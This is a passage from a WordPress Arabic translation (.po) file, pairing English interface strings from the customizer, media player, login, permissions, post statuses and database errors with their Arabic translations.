msgid "Fit to Screen"
msgstr "ملائمة للشاشة"

#: wp-includes/class-wp-customize-manager.php:5599
#: wp-admin/includes/class-custom-background.php:476
msgid "Scroll with Page"
msgstr "تمرير مع الصفحة"

#: wp-includes/class-wp-customize-manager.php:5504
msgctxt "Default Preset"
msgid "Default"
msgstr "افتراضي"

#: wp-includes/class-wp-customize-manager.php:5423
msgid "Header Video"
msgstr "فيديو الترويسة"

#: wp-includes/class-wp-customize-manager.php:5500
msgctxt "Background Preset"
msgid "Preset"
msgstr "الضبط"

#. translators: 1: .mp4, 2: Header height in pixels.
#: wp-includes/class-wp-customize-manager.php:5345
msgid "Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a height of %2$s pixels."
msgstr "ارفع الفيديو الخاص بك بصيغة %1$s وقلص حجم الملف للحصول على أفضل النتائج. قالبك يستحسن ارتفاع قدره %2$s بيكسل."

#. translators: 1: .mp4, 2: Header width in pixels.
#: wp-includes/class-wp-customize-manager.php:5338
msgid "Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a width of %2$s pixels."
msgstr "ارفع الفيديو الخاص بك بصيغة %1$s وقلص حجم الملف للحصول على أفضل النتائج. قالبك يستحسن عرض قدره %2$s بيكسل."

#. translators: 1: .mp4, 2: Header size in pixels.
#: wp-includes/class-wp-customize-manager.php:5331
msgid "Upload your video in %1$s format and minimize its file size for best results. Your theme recommends dimensions of %2$s pixels."
msgstr "ارفع الفيديو الخاص بك بصيغة %1$s وقلص حجم الملف للحصول على أفضل النتائج. قالبك يستحسن أبعاد قدرها %2$s بيكسل."

#: wp-includes/class-wp-customize-manager.php:5324
msgid "If you add a video, the image will be used as a fallback while the video loads."
msgstr "إذا أضفت فيديو، الصورة سيتم استخدامها بينما يتم تحميل الفيديو."

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-themes-section.php:130
#: wp-includes/customize/class-wp-customize-themes-section.php:133
#: wp-includes/customize/class-wp-customize-themes-section.php:155
#: wp-includes/customize/class-wp-customize-themes-section.php:158
msgid "Search themes&hellip;"
msgstr "البحث عن قوالب&hellip;"

#: wp-includes/class-wp-customize-manager.php:2357
msgid "Unauthorized to modify setting due to capability."
msgstr "غير مصرّح بتعديل الإعداد بسبب التصريح."

#: wp-includes/class-wp-customize-manager.php:2352
msgid "Setting does not exist or is unrecognized."
msgstr "الإعداد غير موجود أو غير معروف."

#. translators: %d: Number of theme search results, which cannot currently
#. consider singular vs. plural forms.
#: wp-includes/class-wp-customize-manager.php:4936
msgid "%d themes found"
msgstr "تم العثور على %d قالب"

#. translators: %d: Number of themes being displayed, which cannot currently
#. consider singular vs. plural forms.
#: wp-includes/class-wp-customize-manager.php:4938
msgid "Displaying %d themes"
msgstr "عرض %d قالب"

#: wp-includes/class-wp-customize-manager.php:4934
#: wp-admin/network/themes.php:158
msgid "Are you sure you want to delete this theme?"
msgstr "هل أنت متأكد أنك تريد حذف هذا القالب؟"

#. translators: %s: Theme name.
#: wp-includes/class-wp-customize-manager.php:4940
msgid "Showing details for theme: %s"
msgstr "عرض تفاصيل قالب: %s"

#. translators: %s: Current user's display name.
#: wp-includes/admin-bar.php:250
msgid "Howdy, %s"
msgstr "مرحبًا، %s"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-control.php:639
msgid "New page title"
msgstr "عنوان الصفحة الجديدة"

#: wp-includes/class-wp-customize-control.php:642
msgid "New page title&hellip;"
msgstr "عنوان الصفحة الجديدة&hellip;"

#: wp-includes/class-wp-customize-manager.php:525
msgid "Invalid changeset UUID"
msgstr "مُعرف (UUID) حزمة التغييرات غير صالح "

#: wp-includes/class-wp-customize-manager.php:552
msgid "Non-existent changeset UUID."
msgstr "مُعرف (UUID) حزمة تغييرات غير موجود."

#: wp-includes/class-wp-customize-manager.php:2140
msgid "This link is not live-previewable."
msgstr "هذا الرابط لا يتم عرضه بالمعاينة الحيّة."

#: wp-includes/feed.php:588 wp-admin/link-parse-opml.php:77
#: wp-admin/link-parse-opml.php:78
msgid "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension."
msgstr "ملحق الـ XML للغة الـ PHP غير موجود. الرجاء الاتصال بمُقدم الاستضافة لتمكين ملحق XML للغة الـ PHP."

#: wp-includes/class-wp-customize-manager.php:2141
msgid "This form is not live-previewable."
msgstr "هذا النموذج لا يتم عرضه بالمعاينة الحيّة."

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-nav-menu-location-control.php:86
#: wp-admin/nav-menus.php:811
msgid "Edit selected menu"
msgstr "تحرير القائمة المُحددة"

#: wp-includes/class-wp-editor.php:1409
#: wp-includes/js/dist/format-library.js:932
msgid "Warning: the link has been inserted but may have errors. Please test it."
msgstr "تحذير: الرابط الذي تمّ إدراجه قد يحتوي على أخطاء، يرجى اختباره."

#: wp-includes/blocks/query-title.php:42
#: wp-includes/js/dist/block-library.js:44977
msgid "Search results"
msgstr "نتائج البحث"

#: wp-includes/class-wp-editor.php:1362
msgid "Rich Text Area. Press Control-Option-H for help."
msgstr "منطقة نص منسق. اضغط Control-Option-H للمساعدة."

#: wp-includes/script-loader.php:1035
msgid "Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds."
msgstr "استخدم مفاتيح الأسهم يسار/يمين للتقدم ثانية واحدة، أسهم أعلى/أسفل للتقدم عشر ثواني."

#: wp-includes/script-loader.php:1032 wp-includes/theme.php:1650
msgid "Play"
msgstr "تشغيل"

#: wp-includes/script-loader.php:1041
msgid "Video Player"
msgstr "مشغل الفيديو"

#: wp-includes/script-loader.php:1042
msgid "Audio Player"
msgstr "مشغل الصوت"

#: wp-includes/script-loader.php:1034
msgid "Time Slider"
msgstr "شريط تمرير الوقت"

#: wp-includes/script-loader.php:1037
msgid "Use Up/Down Arrow keys to increase or decrease volume."
msgstr "استخدم مفاتيح الأسهم أعلى/أسفل لزيادة أو خفض مستوى الصوت."

#: wp-includes/script-loader.php:1040
msgid "Volume Slider"
msgstr "شريط تمرير مستوى الصوت"

#: wp-includes/script-loader.php:1033 wp-includes/theme.php:1649
msgid "Pause"
msgstr "إيقاف مؤقت"

#: wp-includes/class-wp-tax-query.php:652
msgid "Inexistent terms."
msgstr "عناصر غير موجودة."

#: wp-includes/taxonomy.php:2360 wp-includes/taxonomy.php:3165
msgid "A name is required for this term."
msgstr "الاسم مطلوب لهذا العنصر."

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:252
#: wp-admin/includes/theme.php:1065 wp-admin/theme-install.php:395
#: wp-admin/theme-install.php:475 wp-admin/themes.php:554
#: wp-admin/themes.php:914 wp-admin/themes.php:1150 wp-admin/js/updates.js:1415
msgctxt "theme"
msgid "Activate %s"
msgstr "تفعيل %s"

#: wp-includes/class-wp-xmlrpc-server.php:4910
msgid "Sorry, you are not allowed to access user data on this site."
msgstr "عذرًا، غير مسموح لك بالوصول لبيانات المستخدم على هذا الموقع."

#: wp-includes/class-wp-xmlrpc-server.php:2706
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:696
#: wp-admin/user-edit.php:103 wp-admin/user-edit.php:135
#: wp-admin/user-edit.php:194 wp-admin/users.php:114 wp-admin/users.php:144
#: wp-admin/users.php:243
msgid "Sorry, you are not allowed to edit this user."
msgstr "المعذرة، لا يُسمح لك بتحرير هذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:3024
#: wp-includes/class-wp-xmlrpc-server.php:3246 wp-admin/includes/post.php:499
msgid "Sorry, you are not allowed to edit pages."
msgstr "عذرًا، غير مسموح لك بتحرير الصفحات."

#: wp-includes/class-wp-xmlrpc-server.php:2849
#: wp-includes/class-wp-xmlrpc-server.php:2899
msgid "Sorry, you are not allowed to edit your profile."
msgstr "عذرًا، غير مسموح لك تحرير ملفك الشخصي."

#: wp-includes/class-wp-theme.php:1029
msgid "Seasonal"
msgstr "موسمي"

#: wp-includes/class-wp-theme.php:1019
msgid "Tan"
msgstr "أسمر"

#: wp-includes/class-wp-theme.php:1026
msgid "Responsive Layout"
msgstr "تخطيط متجاوب"

#: wp-includes/class-wp-theme.php:1025
msgid "Fluid Layout"
msgstr "تخطيط مُتمدد"

#: wp-includes/class-wp-theme.php:1024
msgid "Fixed Layout"
msgstr "تخطيط ثابت"

#: wp-includes/class-wp-theme.php:1028
msgid "Photoblogging"
msgstr "التدوين المُصور"

#: wp-includes/class-wp-xmlrpc-server.php:1836
#: wp-includes/class-wp-xmlrpc-server.php:5271
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:974
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1028
msgid "Sorry, you are not allowed to delete this post."
msgstr "عفوًا، غير مسموح لك بحذف هذه المقالة."

#: wp-includes/class-wp-xmlrpc-server.php:3131
msgid "Sorry, you are not allowed to delete this page."
msgstr "عذرًا، غير مسموح لك حذف هذه الصفحة."

#: wp-includes/class-wp-xmlrpc-server.php:2981
#: wp-includes/class-wp-xmlrpc-server.php:3197
#: wp-admin/includes/ajax-actions.php:2041 wp-admin/includes/post.php:272
msgid "Sorry, you are not allowed to edit this page."
msgstr "عذرًا، غير مسموح لك تحرير هذه الصفحة."

#: wp-includes/script-loader.php:1894 wp-admin/includes/dashboard.php:1018
msgid "Today"
msgstr "اليوم"

#: wp-includes/class-wpdb.php:2356 wp-includes/class-wpdb.php:2362
msgid "Unable to retrieve the error message from MySQL"
msgstr "غير قادر على استرداد رسالة الخطأ من MySQL"

#: wp-includes/customize/class-wp-customize-nav-menu-location-control.php:86
#: wp-includes/widgets/class-wp-nav-menu-widget.php:200
msgid "Edit Menu"
msgstr "تحرير القائمة"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-text-diff-renderer-table.php:133
msgid "Deleted:"
msgstr "تم حذف:"

#. translators: %s: Site title.
#: wp-login.php:292
msgctxt "site"
msgid "&larr; Go to %s"
msgstr "&rarr; الانتقال إلى %s"

#: wp-includes/script-loader.php:1159
msgctxt "password strength"
msgid "Password strength unknown"
msgstr "قوة كلمة المرور غير معروفة"

#. translators: Password change notification email subject. %s: Site title.
#: wp-includes/pluggable.php:2057 wp-includes/user.php:2615
msgid "[%s] Password Changed"
msgstr "[%s] تم تغيير كلمة المرور"

#: wp-login.php:978 wp-admin/install.php:171 wp-admin/user-edit.php:677
#: wp-admin/user-new.php:596 wp-admin/js/user-profile.js:52
msgid "Confirm use of weak password"
msgstr "تأكيد استخدام كلمة مرور ضعيفة"

#: wp-includes/revision.php:744
msgid "Sorry, you are not allowed to preview drafts."
msgstr "عذرًا، غير مسموح لك معاينة المسودات."

#: wp-includes/rest-api/class-wp-rest-server.php:1155
#: wp-includes/script-loader.php:768 wp-admin/js/tags.js:58
msgid "Sorry, you are not allowed to do that."
msgstr "عذرًا، غير مسموح لك بفعل هذا."

#. translators: %s: User name.
#: wp-includes/pluggable.php:2049
msgid "Password changed for user: %s"
msgstr "تم تغيير كلمة مرور المستخدم: %s"

#: wp-includes/media-template.php:1525
msgid "Image crop area preview. Requires mouse interaction."
msgstr "معاينة منطقة اقتصاص الصورة، تتطلب تفاعل مؤشر الفأرة."

#. translators: %s: Documentation URL.
#: wp-includes/formatting.php:4965
msgid "A structure tag is required when using custom permalinks. <a href=\"%s\">Learn more</a>"
msgstr "وسم البناء مطلوب عند استخدام تركيبة روابط مُخصصة. <a href=\"%s\">تعرف على المزيد</a>"

#: wp-includes/class-wp-xmlrpc-server.php:4363
#: wp-includes/class-wp-xmlrpc-server.php:4418
#: wp-includes/class-wp-xmlrpc-server.php:6388 wp-admin/async-upload.php:38
#: wp-admin/includes/ajax-actions.php:2478
#: wp-admin/includes/ajax-actions.php:2544 wp-admin/media-new.php:16
#: wp-admin/media-upload.php:20 wp-admin/upload.php:13
msgid "Sorry, you are not allowed to upload files."
msgstr "عذرًا، غير مسموح لك رفع الملفات."

#: wp-includes/class-wp-xmlrpc-server.php:3409
msgid "Sorry, you are not allowed to add a category."
msgstr "عذرًا، غير مسموح لك بإضافة تصنيف."

#: wp-includes/class-wp-xmlrpc-server.php:2769
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:213
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:442
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:448
#: wp-admin/users.php:16
msgid "Sorry, you are not allowed to list users."
msgstr "عذرًا، غير مسموح لك استعراض قائمة المستخدمين."

#: wp-includes/class-wp-customize-manager.php:2380
#: wp-includes/class-wp-customize-setting.php:594
#: wp-includes/script-loader.php:1293
msgid "Invalid value."
msgstr "قيمة غير صالحة."

#: wp-includes/class-wp-customize-manager.php:516
#: wp-includes/script-loader.php:1251 wp-admin/customize.php:18
msgid "Sorry, you are not allowed to customize this site."
msgstr "عذرًا، غير مسموح لك بتخصيص هذا الموقع."

#. translators: 1: <script>, 2: wp_add_inline_script()
#. translators: 1: <style>, 2: wp_add_inline_style()
#: wp-includes/functions.wp-scripts.php:138
#: wp-includes/functions.wp-styles.php:95
msgid "Do not pass %1$s tags to %2$s."
msgstr "لا تمرر وسوم %1$s إلى %2$s."

#: wp-includes/class-wp-editor.php:1388
msgid "Link options"
msgstr "خيارات الرابط"

#: wp-includes/script-loader.php:1203 wp-includes/js/dist/block-editor.js:46222
msgid "Link selected."
msgstr "تم تحديد الرابط."

#: wp-includes/script-loader.php:1204 wp-includes/js/dist/format-library.js:936
msgid "Link inserted."
msgstr "تم إدراج الرابط."

#. translators: %s: ImageMagick method name.
#: wp-includes/class-wp-image-editor-imagick.php:902
#: wp-includes/class-wp-image-editor-imagick.php:913
msgid "%s is required to strip image meta."
msgstr "الطريقة %s مطلوبة لإزالة معلومات الميتا للصورة."

#: wp-includes/media.php:4634
msgid "No media items found."
msgstr "لم يتمّ العثور على عناصر وسائط."

#. translators: 1: Post title, 2: Site title.
#: wp-includes/embed.php:505
msgid "&#8220;%1$s&#8221; &#8212; %2$s"
msgstr "&#8220;%1$s&#8221; &#8212; %2$s"

#. translators: %d: Number of results found when using jQuery UI Autocomplete.
#: wp-includes/script-loader.php:893
msgid "%d results found. Use up and down arrow keys to navigate."
msgstr "%d نتيجة تم العثور عليها، استخدم مفاتيح الأسهم للأعلى والأسفل للتصفح."

#. translators: Number of results found when using jQuery UI Autocomplete.
#: wp-includes/script-loader.php:891
msgid "1 result found. Use up and down arrow keys to navigate."
msgstr "نتيجة واحدة تم العثور عليها، استخدم مفاتيح الأسهم للأعلى والأسفل للتصفح."

#. translators: 1: VHOST, 2: SUBDOMAIN_INSTALL, 3: wp-config.php, 4:
#. is_subdomain_install()
#: wp-includes/ms-default-constants.php:140
msgid "The constant %1$s <strong>is deprecated</strong>. Use the boolean constant %2$s in %3$s to enable a subdomain configuration. Use %4$s to check whether a subdomain configuration is enabled."
msgstr "الثابت %1$s <strong>مهجور</strong>. استخدم الثابت المنطقي %2$s في ملف %3$s لتمكين إعدادات النطاق الفرعي. استخدم الدالة %4$s لفحص ما إن كانت إعدادت النطاق الفرعي مُمكنة."

#. translators: 1: Panel ID, 2: Link to 'customize_loaded_components' filter
#. reference.
#: wp-includes/class-wp-customize-manager.php:3928
msgid "Removing %1$s manually will cause PHP warnings. Use the %2$s filter instead."
msgstr "إزالة %1$s يدويًا سوف يسبب ظهور تحذيرات PHP. استخدم المرشح %2$s بدلاً من ذلك."

#: wp-includes/class-wp-editor.php:1417
msgid "The next group of formatting shortcuts are applied as you type or when you insert them around plain text in the same paragraph. Press Escape or the Undo button to undo."
msgstr "المجموعة التالية لإختصارات التنسيق يتم تطبيقها حينما تكتب أو حينما تدرجها حول نص عادي في نفس الفقرة. للتراجع اضغط مفتاح الهروب (Escape) أو زر التراجع (Undo)."

#. translators: 1: User's display name, 2: User login.
#: wp-includes/user.php:1710
msgctxt "user dropdown"
msgid "%1$s (%2$s)"
msgstr "%1$s (%2$s)"

#: wp-login.php:1357
msgid "Your session has expired. Please log in to continue where you left off."
msgstr "انتهت جلسة العمل الخاصة بك. الرجاء تسجيل الدخول للاستمرار من المكان الذي غادرته."

#: wp-includes/user.php:227
msgid "<strong>Error:</strong> The email field is empty."
msgstr "<strong>خطأ:</strong> حقل البريد الإلكتروني فارغ."

#. translators: %s: Email address.
#: wp-includes/user.php:262
msgid "<strong>Error:</strong> The password you entered for the email address %s is incorrect."
msgstr "<strong>خطأ:</strong> كلمة المرور التي أدخلتها للبريد الالكتروني %s غير صحيحة."

#: wp-includes/taxonomy.php:577
msgid "Unregistering a built-in taxonomy is not allowed."
msgstr "إلغاء تسجيل فئة مدمجة غير مسموح."

#: wp-includes/post.php:612
msgctxt "post status"
msgid "Trash"
msgstr "سلة المهملات"

#: wp-includes/script-loader.php:1256 wp-includes/js/dist/block-library.js:5957
#: wp-includes/js/dist/editor.js:10894
msgid "(Untitled)"
msgstr "(بدون عنوان)"

#: wp-includes/rest-api.php:44
msgid "Route must be specified."
msgstr "يجب تحديد المسار (Route URL)."

#: wp-includes/post.php:1756
msgid "Unregistering a built-in post type is not allowed"
msgstr "إلغاء تسجيل نوع محتوى مدمج غير مسموح"

#: wp-includes/rest-api.php:41
msgid "Routes must be namespaced with plugin or theme name and version."
msgstr "المسارات (Routes) يجب أن تمتلك بادئة فريدة كاسم ونسخة الإضافة أو القالب."

#: wp-includes/post.php:598 wp-admin/includes/template.php:2289
msgctxt "post status"
msgid "Private"
msgstr "خاص"

#: wp-includes/post.php:568 wp-admin/includes/template.php:2296
msgctxt "post status"
msgid "Draft"
msgstr "مسودة"

#: wp-includes/post.php:554 wp-admin/includes/template.php:2311
msgctxt "post status"
msgid "Scheduled"
msgstr "مجدولة"

#: wp-includes/post.php:583 wp-admin/includes/template.php:2303
msgctxt "post status"
msgid "Pending"
msgstr "بإنتظار المراجعة"

#: wp-includes/post-template.php:1772
msgctxt "post password form"
msgid "Enter"
msgstr "إدخال"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Term name, 4: Taxonomy
#. singular name.
#: wp-includes/general-template.php:3158
msgid "%1$s %2$s %3$s %4$s Feed"
msgstr "خلاصة %1$s %2$s %3$s %4$s"

#: wp-includes/post.php:540
msgctxt "post status"
msgid "Published"
msgstr "منشور"

#: wp-includes/pluggable.php:621
msgid "<strong>Error:</strong> Invalid username, email address or incorrect password."
msgstr "<strong>خطأ:</strong> اسم المستخدم أو عنوان البريد الإلكتروني غير صالح أو كلمة المرور غير صحيحة."

#: wp-includes/class-wp-customize-manager.php:5235
msgid "Choose logo"
msgstr "اختر الشعار"

#: wp-includes/class-wp-customize-manager.php:5233
msgid "No logo selected"
msgstr "لم يتم تحديد الشعار"

#. translators: 1: PHP class name, 2: PHP parent class name, 3: Version number,
#. 4: __construct() method.
#: wp-includes/functions.php:5500
msgid "The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead."
msgstr "طريقة البناء المُستدعاة لـ %1$s في %2$s أصبحت <strong>مهجورة</strong> منذ النسخة %3$s! استخدم %4$s بدلاً عنها."

#. translators: Hidden accessibility text.
#: wp-includes/functions.php:7161 wp-includes/media-template.php:202
#: wp-includes/media-template.php:367
msgid "Close dialog"
msgstr "إغلاق النافذة"

#: wp-includes/class-wp-customize-manager.php:5230
msgid "Change logo"
msgstr "تغير الشعار"

#: wp-includes/class-wp-customize-manager.php:5229
#: wp-includes/class-wp-customize-manager.php:5234
msgid "Select logo"
msgstr "تحديد الشعار"

#. translators: %s: document.write()
#: wp-includes/customize/class-wp-customize-selective-refresh.php:183
msgid "%s is forbidden"
msgstr "%s ممنوع"

#: wp-includes/customize/class-wp-customize-partial.php:226
msgid "Partial render must echo the content or return the content string (or array), but not both."
msgstr "معالج الجزء يجب أن يطبع (echo) المحتوى أو يرجع (return) سلسلة نصية (أو مصفوفة)، ولكن ليس كلاهما."

#: wp-includes/comment.php:268
msgctxt "comment status"
msgid "Trash"
msgstr "سلة المهملات"

#: wp-includes/comment.php:266 wp-admin/edit-form-comment.php:136
msgctxt "comment status"
msgid "Approved"
msgstr "موافق عليه"

#: wp-includes/comment.php:267 wp-admin/edit-form-comment.php:138
msgctxt "comment status"
msgid "Spam"
msgstr "مزعج"

#: wp-includes/comment.php:1284
msgid "<strong>Error:</strong> Your email address is too long."
msgstr "<strong>خطأ:</strong> بريدك الإلكتروني طويل جدًا."

#: wp-includes/comment.php:1292
msgid "<strong>Error:</strong> Your comment is too long."
msgstr "<strong>خطأ:</strong> تعليقك طويل جدًا."

#: wp-includes/comment.php:1280
msgid "<strong>Error:</strong> Your name is too long."
msgstr "<strong>خطأ:</strong> اسمك طويل جدًا."

#: wp-includes/comment.php:1288
msgid "<strong>Error:</strong> Your URL is too long."
msgstr "<strong>خطأ:</strong> رابط موقعك طويل جدًا."

#: wp-includes/class-wp-customize-manager.php:5221
#: wp-includes/js/dist/editor.js:6085 wp-admin/includes/template.php:2446
msgid "Logo"
msgstr "الشعار"

#: wp-includes/class-wp-editor.php:1386
#: wp-includes/js/dist/block-editor.js:46301
msgid "Paste URL or type to search"
msgstr "ألصق رابط أو اكتب للبحث"

#: wp-includes/class-wp-metadata-lazyloader.php:78
#: wp-includes/class-wp-metadata-lazyloader.php:118
msgid "Invalid object type."
msgstr "نوع الكائن غير صالح."

#. translators: 1: templates/index.html, 2: index.php, 3: Documentation URL, 4:
#. Template, 5: style.css
#: wp-includes/class-wp-theme.php:372
#: wp-admin/includes/class-theme-upgrader.php:585
msgid "Template is missing. Standalone themes need to have a %1$s or %2$s template file. <a href=\"%3$s\">Child themes</a> need to have a %4$s header in the %5$s stylesheet."
msgstr "أحد ملفات القالب مفقود. القوالب القائمة بذاتها يجب أن تحتوي على الملفات %1$s او %2$s. <a href=\"%3$s\">القوالب الفرعية</a> يجب أن تحتوي على ترويسة %4$s في ملف التنسيق %5$s."

#: wp-includes/class-wp-customize-manager.php:5170
#: wp-includes/class-wp-customize-manager.php:5278
msgid "Display Site Title and Tagline"
msgstr "عرض عنوان وسطر وصف الموقع"

#: wp-includes/class-wp-customize-manager.php:2139
#: wp-includes/customize/class-wp-customize-selective-refresh.php:177
msgid "Shift-click to edit this element."
msgstr "انقر على زر Shift لتحرير هذا العنصر. "

#: wp-comments-post.php:31
msgid "Comment Submission Failure"
msgstr "فشل تقديم التعليق"

#: wp-includes/class-wp-customize-manager.php:5020
msgid "Enter desktop preview mode"
msgstr "أدخل وضع معاينة سطح المكتب"

#: wp-includes/class-wp-customize-manager.php:5024
msgid "Enter tablet preview mode"
msgstr "أدخل وضع معاينة الأجهزة اللوحية"

#: wp-includes/class-wp-customize-manager.php:5027
msgid "Enter mobile preview mode"
msgstr "أدخل وضع معاينة الجوال"

#: wp-includes/user.php:3347 wp-admin/includes/user.php:202
msgid "<strong>Error:</strong> Sorry, that username is not allowed."
msgstr "<strong>خطأ:</strong> عذرًا، اسم المُستخدم هذا غير مسموح به."

#: wp-includes/rest-api/class-wp-rest-request.php:914
msgid "Invalid parameter."
msgstr "مُعامل غير صالح."

#. translators: %s: Menu name.
#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:79
msgctxt "menu location"
msgid "(Current: %s)"
msgstr "(القائمة الحالية: %s)"

#. translators: %s: Menu location.
#: wp-includes/class-wp-customize-nav-menus.php:510
msgctxt "menu"
msgid "(Currently set to: %s)"
msgstr "(مُعينة حاليًا في: %s)"

#. translators: %s: Documentation URL.
#: wp-includes/functions.php:5853
msgid "Please see <a href=\"%s\">Debugging in WordPress</a> for more information."
msgstr "من فضلك اطلع على <a href=\"%s\">تنقيح الأخطاء في ووردبريس</a> لمزيد من المعلومات."

#. translators: 1: $table_prefix, 2: wp-config.php
#: wp-includes/load.php:648
msgid "<strong>Error:</strong> %1$s in %2$s can only contain numbers, letters, and underscores."
msgstr "<strong>خطأ:</strong> %1$s في %2$s يمكن أن يحتوي فقط على أرقام، حروف وخطوط سُفلية."

#. translators: %s: WP_User->ID
#: wp-includes/class-wp-user.php:278 wp-includes/class-wp-user.php:311
#: wp-includes/class-wp-user.php:352 wp-includes/class-wp-user.php:377
msgid "Use %s instead."
msgstr "استخدم %s كبديل."

#. translators: %s: get_the_author()
#. translators: %s: get_trackback_url()
#: wp-includes/author-template.php:71 wp-includes/comment-template.php:1221
msgid "Use %s instead if you do not want the value echoed."
msgstr "استخدم %s كبديل إذا كنت لا ترعب في ظهور القيمة."

#: wp-includes/class-wp-term.php:160
msgid "Term ID is shared between multiple taxonomies"
msgstr "الرقم المُعرف للعنصر مشترك بين عدة فئات."

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:194
msgctxt "genitive"
msgid "June"
msgstr "يونيو"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:195
msgctxt "genitive"
msgid "July"
msgstr "يوليو"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:196
msgctxt "genitive"
msgid "August"
msgstr "أغسطس"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:197
msgctxt "genitive"
msgid "September"
msgstr "سبتمبر"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:198
msgctxt "genitive"
msgid "October"
msgstr "أكتوبر"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:199
msgctxt "genitive"
msgid "November"
msgstr "نوفمبر"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:200
msgctxt "genitive"
msgid "December"
msgstr "ديسمبر"

#: wp-includes/taxonomy.php:1344 wp-includes/taxonomy.php:1408
msgid "Term meta cannot be added to terms that are shared between taxonomies."
msgstr "لا يمكن إضافة ميتا للعناصر المُشتركة بين عدة فئات."

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:190
msgctxt "genitive"
msgid "February"
msgstr "فبراير"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:191
msgctxt "genitive"
msgid "March"
msgstr "مارس"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:192
msgctxt "genitive"
msgid "April"
msgstr "أبريل"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:193
msgctxt "genitive"
msgid "May"
msgstr "مايو"

#. translators: Month name, genitive.
#: wp-includes/class-wp-locale.php:189
msgctxt "genitive"
msgid "January"
msgstr "يناير"

#: wp-includes/embed.php:1161
msgid "Sharing options"
msgstr "خيارات المشاركة"

#: wp-includes/class-wp-xmlrpc-server.php:644
msgid "Medium-Large size image height"
msgstr "ارتفاع الصورة ذات الحجم متوسط-كبير."

#: wp-includes/class-wp-xmlrpc-server.php:639
msgid "Medium-Large size image width"
msgstr "عرض الصورة ذات الحجم متوسط-كبير."

#. translators: %s: Site link.
#: wp-includes/theme-compat/sidebar.php:105
msgid "You are currently browsing the %s blog archives."
msgstr "أنت حاليًا تتصفح آرشيفات مدونة %s."

#. translators: 1: Site link, 2: Archive date.
#: wp-includes/theme-compat/sidebar.php:57
msgid "You are currently browsing the %1$s blog archives for the day %2$s."
msgstr "أنت حاليًا تتصفح آرشيفات مدونة %1$s ليوم %2$s."

#. translators: 1: Site link, 2: Archive month.
#: wp-includes/theme-compat/sidebar.php:69
msgid "You are currently browsing the %1$s blog archives for %2$s."
msgstr "أنت حاليًا تتصفح آرشيفات مدونة %1$s لشهر %2$s."

#. translators: 1: Site link, 2: Archive year.
#: wp-includes/theme-compat/sidebar.php:81
msgid "You are currently browsing the %1$s blog archives for the year %2$s."
msgstr "أنت حاليا تتصفح آرشيفات مدونة %1$s لسنة %2$s."

#. translators: %s: Admin email link.
#: wp-includes/ms-load.php:111
msgid "This site has not been activated yet. If you are having problems activating your site, please contact %s."
msgstr "لم يتم تنشيط هذا الموقع بعد. إذا كنت تصادف مشاكل في تنشيط موقعك، يرجى مراسلة %s."

#. translators: %s: Email address.
#: wp-signup.php:708 wp-signup.php:866
msgid "Check your inbox at %s and click the link given."
msgstr "تفقّد بريدك الوارد على %s ثم انقر على الرابط المعطى."

#. translators: %s: Menu name.
#: wp-includes/nav-menu.php:340 wp-includes/nav-menu.php:355
msgid "The menu name %s conflicts with another menu name. Please try another."
msgstr "اسم القائمة %s يتعارض مع اسم قائمة أخرى. يرجى تجربة اسم آخر."

#. translators: %s: Site address.
#: wp-signup.php:1025
msgid "The site you were looking for, %s, does not exist."
msgstr "الموقع الذي كنت تبحث عنه، %s، غير موجود."

#. translators: %s: A link to the embedded site.
#: wp-includes/theme-compat/embed-404.php:21
msgid "It looks like nothing was found at this location. Maybe try visiting %s directly?"
msgstr "يبدو أنه لم يتم العثور على شيء في هذا الموقع. لما لا تجرّب زيارة %s مباشرة؟"

#. translators: %s: Post title.
#: wp-includes/embed.php:995 wp-includes/post-template.php:300
msgid "Continue reading %s"
msgstr "تابع قراءة %s"

#: wp-includes/theme-compat/embed-404.php:14
msgid "Oops! That embed cannot be found."
msgstr "عفوًا، هذا التضمين لا يمكن إيجاده."

#: wp-signup.php:172
msgid "Site Language:"
msgstr "لغة الموقع:"

#. translators: %s: The message ID.
#: wp-mail.php:262
msgid "Mission complete. Message %s deleted."
msgstr "المُهمة اكتملت. تم حذف الرسالة %s."

#: wp-mail.php:249
msgid "Posted title:"
msgstr "العنوان المُرسَل:"

#: wp-mail.php:248 wp-admin/includes/plugin-install.php:669
msgid "Author:"
msgstr "الكاتب:"

#: wp-includes/class-wpdb.php:2229
msgid "Error reconnecting to the database"
msgstr "خطأ في إعادة الإتصال بقاعدة البيانات"

#: wp-includes/class-wpdb.php:2078
msgid "Are you sure you have typed the correct hostname?"
msgstr "هل أنت متأكد بأنك كتبت اسم المُضيف الصحيح؟"

#: wp-includes/class-wpdb.php:2079 wp-includes/class-wpdb.php:2238
msgid "Are you sure the database server is running?"
msgstr "هل أنت متأكد أن خادم قاعدة البيانات قيد التشغيل؟"

#. translators: %s: Database host.
#: wp-includes/class-wpdb.php:2233
